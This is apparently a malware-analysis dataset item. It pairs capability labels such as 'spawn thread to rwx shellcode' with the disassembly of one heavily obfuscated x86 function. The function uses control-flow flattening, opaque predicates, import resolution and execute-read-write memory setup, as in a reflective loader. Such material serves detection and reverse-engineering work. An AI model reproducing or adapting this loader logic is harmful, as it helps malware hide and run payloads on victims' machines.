Function at 0x410280
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1a8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x452080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1a0], 0x1f103122
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1ac], eax
sub eax, 0x814c99a3
je 0x41435d
jmp 0x4102c4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x830b446b
je 0x412bf0
jmp 0x4102da
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8362b88c
je 0x411f14
jmp 0x4102f0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x844d2eaf
je 0x413407
jmp 0x410306
mov eax, dword [ebp - 0x1ac]
sub eax, 0x85a034be
je 0x4120e2
jmp 0x41031c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x881c0f24
je 0x414045
jmp 0x410332
mov eax, dword [ebp - 0x1ac]
sub eax, 0x881fdd87
je 0x41223a
jmp 0x410348
mov eax, dword [ebp - 0x1ac]
sub eax, 0x886ca26b
je 0x41272c
jmp 0x41035e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8895ad6a
je 0x412755
jmp 0x410374
mov eax, dword [ebp - 0x1ac]
sub eax, 0x88d8e9b9
je 0x414210
jmp 0x41038a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a3d880f
je 0x413460
jmp 0x4103a0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8ad0a866
je 0x413335
jmp 0x4103b6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8ed6a880
je 0x411d1f
jmp 0x4103cc
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8ff6e83c
je 0x412489
jmp 0x4103e2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x904b27f8
je 0x413587
jmp 0x4103f8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x916bb083
je 0x412616
jmp 0x41040e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91c8e242
je 0x4138a9
jmp 0x410424
mov eax, dword [ebp - 0x1ac]
sub eax, 0x91fc55df
je 0x413416
jmp 0x41043a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9246fbb9
je 0x412ed3
jmp 0x410450
mov eax, dword [ebp - 0x1ac]
sub eax, 0x92574009
je 0x412836
jmp 0x410466
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95d7dced
je 0x4118c0
jmp 0x41047c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x99b0dcd5
je 0x413fd4
jmp 0x410492
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9bcbe336
je 0x413051
jmp 0x4104a8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9c2ba98b
je 0x414225
jmp 0x4104be
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9c87959f
je 0x411bd1
jmp 0x4104d4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9dde76ae
je 0x412367
jmp 0x4104ea
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa04e7415
je 0x413611
jmp 0x410500
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa1868d7e
je 0x41181a
jmp 0x410516
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa492be22
je 0x412a4b
jmp 0x41052c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa4c29e70
je 0x412916
jmp 0x410542
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa621e9d0
je 0x414321
jmp 0x410558
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6384631
je 0x413527
jmp 0x41056e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6de156a
je 0x413f5c
jmp 0x410584
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8109bd7
je 0x413e41
jmp 0x41059a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8a707a0
je 0x412c7e
jmp 0x4105b0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8bc6e13
je 0x414462
jmp 0x4105c6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaae551f8
je 0x413c2c
jmp 0x4105dc
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac5b487b
je 0x413a59
jmp 0x4105f2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac6cac87
je 0x413671
jmp 0x410608
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac8b6ecb
je 0x414025
jmp 0x41061e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xad479f81
je 0x412b10
jmp 0x410634
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb092a113
je 0x411e02
jmp 0x41064a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb0e65231
je 0x412c42
jmp 0x410660
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb0ffcfcc
je 0x41201f
jmp 0x410676
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb50e8203
je 0x4132ce
jmp 0x41068c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb5d807e7
je 0x413a21
jmp 0x4106a2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb827ab6b
je 0x41247a
jmp 0x4106b8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb95b5167
je 0x411909
jmp 0x4106ce
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbac39e86
je 0x412ff9
jmp 0x4106e4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbb789b2f
je 0x412625
jmp 0x4106fa
mov eax, dword [ebp - 0x1ac]
sub eax, 0xbdef6c49
je 0x414234
jmp 0x410710
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc166771c
je 0x4132dd
jmp 0x410726
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc4e90d66
je 0x4138e2
jmp 0x41073c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc559e4a2
je 0x413008
jmp 0x410752
mov eax, dword [ebp - 0x1ac]
sub eax, 0xc702ee27
je 0x413254
jmp 0x410768
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcaba3ec5
je 0x413bd0
jmp 0x41077e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcb94f9d5
je 0x412e82
jmp 0x410794
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcc56d1d5
je 0x412c19
jmp 0x4107aa
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcd2ee08f
je 0x41424f
jmp 0x4107c0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcdbdf133
je 0x414336
jmp 0x4107d6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xcf010b84
je 0x4124a6
jmp 0x4107ec
mov eax, dword [ebp - 0x1ac]
sub eax, 0xd0289a33
je 0x413e22
jmp 0x410802
mov eax, dword [ebp - 0x1ac]
sub eax, 0xd080c7ee
je 0x414390
jmp 0x410818
mov eax, dword [ebp - 0x1ac]
sub eax, 0xd4d786dd
je 0x411585
jmp 0x41082e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xd589e8bc
je 0x413951
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x881c0f24
mov ecx, 0x289bc64e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x188]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.004209e0
add esp, 0xc
mov eax, dword [ebp - 0x184]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.004209e0
add esp, 0xc
mov eax, dword [ebp - 0x184]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x180]
mov edx, dword [ecx + 0xa0]
mov dword [eax], edx
mov ecx, dword [ecx + 0xa4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x180]
add eax, 4
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x1a0], 0x95d7dced
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x27764e87
mov ecx, 0xb95b5167
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0xf4]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xed], al
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x27764e87
mov ecx, 0x4991244a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x1a0], 0x220bdec1
jmp 0x41446c
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xc4], eax
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
mov edx, eax
add edx, 0x6929c652
sub edx, 1
sub edx, 0x6929c652
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a77a3b1
mov ecx, 0xed6122
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4661b00b
mov ecx, 0x379f4a6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0x980941e
jmp 0x41446c
mov dl, byte [ebp - 0xb5]
mov eax, 0xbb789b2f
mov ecx, 0xb79388b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1a0], 0x5db56b5b
jmp 0x41446c
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
add edx, 0xedfa983b
sub edx, 1
sub edx, 0xedfa983b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6665acb9
mov ecx, 0xdebd088b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x488b86db
mov ecx, 0x170978df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x8ff6e83c
jmp 0x41446c
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x1a0], 0xcf010b84
jmp 0x41446c
mov ecx, dword [ebp - 0x98]
add ecx, 2
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0x4ced57d8
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x980941e
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c2ba98b
mov ecx, 0x6fadc4a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0x8895ad6a
jmp 0x41446c
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x1a0], 0x59587f9a
jmp 0x41446c
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
sub edx, 0xa1be5492
sub edx, 1
add edx, 0xa1be5492
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbdef6c49
mov ecx, 0x7d289e5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x61c48e70
jmp 0x41446c
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x1a0], 0x38238319
jmp 0x41446c
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14c]
imul edx, dword [edx], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
mov edx, eax
add edx, 0x70c2cde4
sub edx, 1
sub edx, 0x70c2cde4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd2ee08f
mov ecx, 0x14dffb34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov ecx, dword [ebp - 0x64]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0x6cb0a2cf
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x11359ded
jmp 0x41446c
mov ecx, dword [ebp - 0x60]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0x8895ad6a
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x31babf5
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
mov edx, eax
sub edx, 0x3d272295
sub edx, 1
add edx, 0x3d272295
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a6b007d
mov ecx, 0x9246fbb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dl, byte [ebp - 0x55]
mov eax, 0x7dd45c3d
mov ecx, 0x6b03efef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0xc559e4a2
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39210871
mov ecx, 0x9bcbe336
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x54]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4e], al
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
sub edx, 0x27d73db
sub edx, 1
add edx, 0x27d73db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x39210871
mov ecx, 0x418d8693
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x128]
mov dword [eax], 0x40
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43e046cc
mov ecx, 0xb50e8203
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0xc166771c
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x4c88e7ae
jmp 0x41446c
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
add edx, 0xb316832e
sub edx, 1
sub edx, 0xb316832e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41a79071
mov ecx, 0x4de6f1f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x91fc55df
jmp 0x41446c
mov eax, dword [ebp - 0x48]
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x37076fcf
mov ecx, 0x2cfab255
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
add edx, 0xb5f7038f
sub edx, 1
sub edx, 0xb5f7038f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf80ba85d
mov ecx, 0x3edaa8f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0xfe360c39
jmp 0x41446c
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x44], eax
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa621e9d0
mov ecx, 0xa04e7415
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov dword [ebp - 0x1a0], 0xeab3642d
jmp 0x41446c
mov eax, dword [ebp - 0x44]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x3d], al
mov ecx, dword [0x453594]
mov eax, dword [0x453590]
mov edx, ecx
add edx, 0x668f198c
sub edx, 1
sub edx, 0x668f198c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcdbdf133
mov ecx, 0x638d77a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x128]
mov dword [eax], 2
mov dword [ebp - 0x1a0], 0xe6236d91
jmp 0x41446c
mov dword [ebp - 0x1a0], 0xfe360c39
jmp 0x41446c
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004100b0
add esp, 0x10
mov dword [ebp - 0x1a0], 0xac5b487b
jmp 0x41446c
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1a0], 0x7be3a8cd
jmp 0x41446c
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x110]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1a0], 0xaae551f8
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
mov edx, eax
add edx, 0x838dc513
sub edx, 1
sub edx, 0x838dc513
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd080c7ee
mov ecx, 0xe61354b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1a0], 0xa8109bd7
jmp 0x41446c
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1a0], 0x3334cc20
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x32c4fcc7
jmp 0x41446c
mov eax, dword [0x453594]
mov ecx, dword [0x453590]
mov edx, eax
sub edx, 0x685e08bb
sub edx, 1
add edx, 0x685e08bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8bc6e13
mov ecx, 0xac8b6ecb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x41446c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041fcd0
mov eax, dword [ebp - 0x1b0]
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x100]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call fcn.0040edd0
add esp, 8
mov ecx, dword [ebp - 0x194]
mov eax, dword [ebp - 0x198]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0x299f2642
add ecx, eax
add ecx, 0x299f2642
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1a0], 0x289bc64e
jmp 0x41446c
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x1a0], 0x3ff17bed
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x6fadc4a9
jmp 0x41446c
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1a0], 0x7d289e5a
jmp 0x41446c
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1a0], 0xad479f81
jmp 0x41446c
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x1a0], 0x904b27f8
jmp 0x41446c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1a0], 0xac6cac87
jmp 0x41446c
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x1a0], 0xd589e8bc
jmp 0x41446c
mov eax, dword [ebp - 0x1c]
mov cx, word [ebp - 0x1e]
mov word [eax], cx
mov dword [ebp - 0x1a0], 0xe61354b7
jmp 0x41446c
mov dword [ebp - 0x1a0], 0x99b0dcd5
jmp 0x4102a8